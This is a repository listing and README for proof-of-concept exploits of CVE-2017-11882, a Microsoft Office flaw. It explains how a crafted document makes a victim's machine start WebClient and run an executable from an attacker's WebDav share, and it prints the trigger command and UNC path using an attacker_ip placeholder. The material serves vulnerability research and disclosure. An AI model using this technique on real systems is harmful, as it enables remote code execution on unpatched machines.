https://github.com/embedi/CVE-2017-11882

Proof-of-Concept exploits for CVE-2017-11882
https://github.com/embedi/CVE-2017-11882

Last synced: 22 days ago
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Proof-of-Concept exploits for CVE-2017-11882

• Host: GitHub
• URL: https://github.com/embedi/CVE-2017-11882
• Owner: embedi
• Created: 2017-11-20T16:35:30.000Z (about 7 years ago)
• Default Branch: master
• Last Pushed: 2017-11-29T16:13:23.000Z (about 7 years ago)
• Last Synced: 2024-08-05T17:41:04.573Z (4 months ago)
• Language: Python
• Size: 4.88 KB
• Stars: 496
• Watchers: 39
• Forks: 197
• Open Issues: 5
• Metadata Files:
  • Readme: README.md

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README

        
# CVE-2017-11882

CVE-2017-11882:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

MITRE CVE-2017-11882:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

Research:

https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

Patch analysis:

https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

DEMO PoC exploitation:

https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410

# webdav_exec CVE-2017-11882

A simple PoC for CVE-2017-11882.

This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server.

The reason why this approach might be handy is a limitation of executed command length.

However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine.

This script creates simple document with several OLE objects.

These objects exploits CVE-2017-11882, which results in sequential command execution.

The first command which triggers WebClient service start may look like this:

```

cmd.exe /c start \\attacker_ip\ff

```

Attacker controlled binary path should be a UNC network path:

```

\\attacker_ip\ff\1.exe

```

## Usage

```python

webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name

```

# Sample exploit for CVE-2017-11882 (starting calc.exe as payload)

`example` folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.